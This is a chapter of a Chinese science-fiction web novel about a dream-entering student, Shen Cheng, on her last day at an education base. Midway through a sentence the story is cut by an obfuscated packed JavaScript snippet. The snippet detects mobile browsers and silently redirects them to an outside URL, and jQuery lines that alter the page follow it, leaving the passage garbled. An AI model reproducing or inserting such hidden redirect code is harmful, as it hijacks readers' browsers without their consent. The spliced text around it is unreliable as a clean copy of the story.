“1037号学员沈澄,您的公修课即将于一小时后开始,请及时抵达指定地点,哔——”柠檬面露绝望地摁停了手环上的日程提醒,从餐饮店中走了出来,她差点忘了自己还有最后一节课要上。
为了更契合科技经济的发展速度,世界衍生出了特质因子,它的存在很大程度上决定了新生儿未来培养的主要方向以及就业方向,其中最为特殊的一类因子被唤作梦魇因子,因为拥有者有了可以进入他人梦境的能力。
沈澄就是其中的一个幸运儿,经过官方的检测后,被确认为入梦者,也就是有入梦能力但是零经验的人。她只需要完成教育基地的学习就可以进入入梦基地训练,同时享有其他职业人员没有的生活补贴。不过,好处的背后,是以生命为代价在消耗着的。
“近日,天气较为恶劣,在此建议广大市民近地出行。”播报员身着干练的衣服,脸上时刻保持着那种令人心觉舒适的笑容。似是要反驳她的话,空中传来了沉闷的发动机的声音,引得众人纷纷仰头向上搜寻着那声音的来源,却只能以肉眼看到一个极小的黑点。
“怎么还有人不听劝告,真是不怕死啊…”
“你懂什么?我们平日里用的飞行器是I-32型材料,天上的那架估计是军用I-27型特殊材料制成的…”
“昨天早上西城区那边不是空中不是出事了吗?”
“你看了那个视频吧?还有人从飞行器上跳下来了…”
“好像还有六具尸体被抬出来了吧?”
“……”
听着周围人的窃窃私语,“尸体之一”的沈澄摸了下耳垂。
谢谢,还没死,但是应该快了。
沈澄没忍住抬头看去,那架飞行器早已飞远。
013号城市的天空惯有的颜色是茫茫的灰色,使人摸不透它的喜怒哀乐。
在这压抑的灰色之中,唯有一栋楼直冲云霄,其楼顶也如其他建筑一般闪烁着霓虹灯光,让这座城市看起来不像是一座死寂之城。
那栋最高的建筑是位于中心区的城市总部大厦,监察控制中心也在那里。她收回了目光,等半空中悬浮的灯球跳至红色,这才随着人群向马路对面蠕动着。
花了好大气力才从人群中挤出,拐入了一条因堆满了废弃物品而得名为“旧世界”的小巷子。这条小巷仍保持着原状,又因着无人清理打扫,墙角潮湿处的青苔肆意生长着,锈迹斑斑的铁门也时不时随着周遭空气的剧烈涌动而发出沉重刺耳的声音。
倏地,雨水毫无预兆地垂落而下,沈澄略微加快了步伐,在路的尽头寻得了一方可以避雨的屋檐。
她拨弄着手环,试图通过手环来呼叫一辆快车,屏幕上却突然弹出了一份带有云雾标识的紧急邮件,她正打算点开来看邮件内容时身后的门突然发出了“嘎吱”的响声。
沈澄的手环界面也随着手腕的小幅度转动熄灭了,手垂在腰侧。一张略显疲态的属于女性的脸从黑暗中逐渐变得清晰,沈澄轻眨了一下眼,想起了面前这位阿姨在教育基地门口摆过摊卖小吃,自己也去她那里买过几次。
“打扰了。”沈澄带着歉意同她笑了笑,幸亏自己遇上的不是大屏幕上被通缉的几名扰梦者,她还不想被鼓动着去送死。
“这位…”,女人略一停顿,“小同学,你在等人还是来避雨的?”
“忘带伞了来这里避会雨。”沈澄的确没有带伞的习惯。
她的手在门后摸索了一阵,抽出一个黑色伞柄递给沈澄:“下次再来我摊子上买吃的再还给我也不迟。”
沈澄在女人的示意下接过了黑伞柄,指尖也轻触到了女人温热的掌心。
“谢谢。”伞柄正中央的按钮被激活,伞面也逐渐从伞柄中扩张开来,她带着女人掌心传导而来的一丝温度,撑伞走进了雨中。
女人看着持伞的身影缓慢消失在视野之后,才缩了回去并带上了这扇门。
鞋子精准地踩在积聚的小水坑中,溅起了点点水花,纯白的鞋面却没有染上污渍。倾洒的雨水被那把伞悉数弹开,沈澄发觉头顶的伞面可能有种未知的能量波动,在某一瞬将她与外界的联系完全割裂开来。
小型屏蔽仪顺带起到伞的遮雨作用吗?但是这个屏蔽效果显然不怎么样,沈澄分神想着。
“提醒,请尽快抵达教育基地。”她的手环不断闪烁着,街边的谩骂声、食客们的交谈声混着滋滋电流声重新涌入她的耳中,仿佛刚刚只是自己的错觉。
“好困…”沈澄只祈祷着最后一节课能在几分钟内结束,不会出什么岔子。她通过瞳孔认证后进入了基地。
教育基地被打造成了一个小世界,里面的环境由人工决定。
基地内部不会有雨雪天气,伞面感应到环境的变化,收缩了回来,只留下黑色的伞柄静静地躺在她的掌心。
“验证通过,欢迎回到基地,1044号学员章婧,1052号学员张连雨。”还没迈出几步,身后又传来了声响。
“一起走吗?”沈澄向她们发出了邀约,先前的伞柄已经被她收入了带有一定存储空间的小卡牌中。
张连雨和章婧此前并不相识,在附近的路口识别出了对方的学员身份,这才相携来到基地。
沈澄…入梦师专业?章婧靠近沈澄时,属于沈澄的虚拟小人以投影形式在她手环上慢速旋转。
章婧没有特质因子,因为除了不曾拥有的梦魇因子,其他的因子她都多多少少沾了点。唯一能提起她兴趣的专业就是入梦师,于是她最终选择服从家中长辈的安排,学了个公共管理。
“哇塞,入梦师?”
全国各地教育基地的入梦师专业每年至多能吸收百余人,这样分下来,有的人直到毕业,也很难碰见一个入梦者。
“还不是。”
“还不算。”
沈澄兴味盎然地看着和自己同时出声的章婧,她记得章家也是世家之一,章婧应该是作为家主候选人来培养的。
“要在专业的入梦师培养机构通过培训、审核后,才能由入梦者转正为入梦师。”
章婧有点懊恼自己抢答的行为:“我有认识的人也是入梦师。”对上沈澄那双带着笑意的眼睛,她有点不自在,认真地补充着,“不过是后天的。”
“后天的?隐性因子后期显性化吗?”张连雨的目光从沈澄和章婧两人身上流动着。从小接受的教育没办法让她想出更多的解释,不过几年前好像有小媒体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376622|200098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进行相关的报道。
“唔…或许是吧。”沈澄含糊地应答着,忽然出声喊了章婧的名字,“章婧是知情人吧?”
隐性因子后期显性化只是官方的一种说辞。特质因子不存在隐性显化之说,后天能成为入梦师也是因为进行了极高风险的复制手术,这类手术明面上是严令禁止的。普通公民去灰网上找小诊所做手术倒是有机会借此实现阶级的跨越。
“不存在隐性因子后期显性化的说辞。”章婧垂下眼睫,声音低了几度,“他们采用的是因子供体死亡率很高的因子复制手术。”
沈澄有些意外章婧的回答,她们已经走到了公修课教室门口。
章婧站在最前方双手用力地推开了这扇白橡木大门,对建筑有所研究的人会发现公修课教室的内部构造基本是按照旧时代的教堂来建的。
公修课的本质和传教有异曲同工之处。授课内容是了解智时代的历史,培养学员参与构建更美好世界的思想觉悟。
今年能从教育基地结业的学员基本都在这里了,前排望去全是人头。
秉持着尊师重道的原则,她们挑了空位较多的倒数第三排坐下。
三人默契地闭上了嘴,上完这节课就能顺利从教育基地结业了,谁也不想在这时候被讲师揪出错来延迟结业。
沈澄的精神力大部分时间都在外放着,美名其曰日常锻炼。落座后,站岗的精神力察觉到身侧不属于自己的精神力的窥探。
她微微侧目,只有一个浅色系衣服的男生趴在桌上,睡得正香甜。他的手腕上空无一物,可识别身份的手环不知道被主人遗忘在了哪个角落。
最后一节公修课成为了教育基地的传统,讲师的激昂演讲,长达10分钟的静默以及1分钟的宣誓。
“各位学员们,恭喜你们完成了在教育基地的学习,这代表着你们顺利通过人生中的一个重要节点…”
张连雨姿态坐得端正,魂却被章婧的那番话勾了去。
当事人章婧重心后倾,来听下属做会议总结的。
沈澄很满意自己对两个人状态的形容,为了避免自己当场猝死,死在结业的前一秒,她像泥一样糊在了桌面上。
讲师结束自己的长篇大论后,教室内回荡着三声钟响。
睡得再熟听着这动静也能被吵醒,章婧在想沈澄会不会有起床气。
两分钟过去后进入静默期,身边人依旧趴着没动静,而讲师正沿着过道朝后方走来。
轻轻推搡的动作没用,章婧在前排人的遮掩下,凑到她耳旁:“沈澄…再不醒来就要延毕了。”
还是这句话有效,话音刚落,沈澄就揉着通红的耳朵坐了起来,眼神却没有刚醒时的惺忪,相反,眼底一片清明。
人根本就没睡着或者钟声响起的时候就已经醒了!
章婧头一回这么热心肠给撞了沈澄这座山,她开始怀疑自己是否前半生过得太顺利了。
耳朵这么敏感吗?沈澄停下了揉耳的动作,她一开始只是想趴着的,后面起了逗弄章婧的心思,现在倒是被反将一军。
“1037号沈澄?”讲师喊出了她的学号和名字,沈澄举手后,讲师就比划着手势示意她跟着自己出来。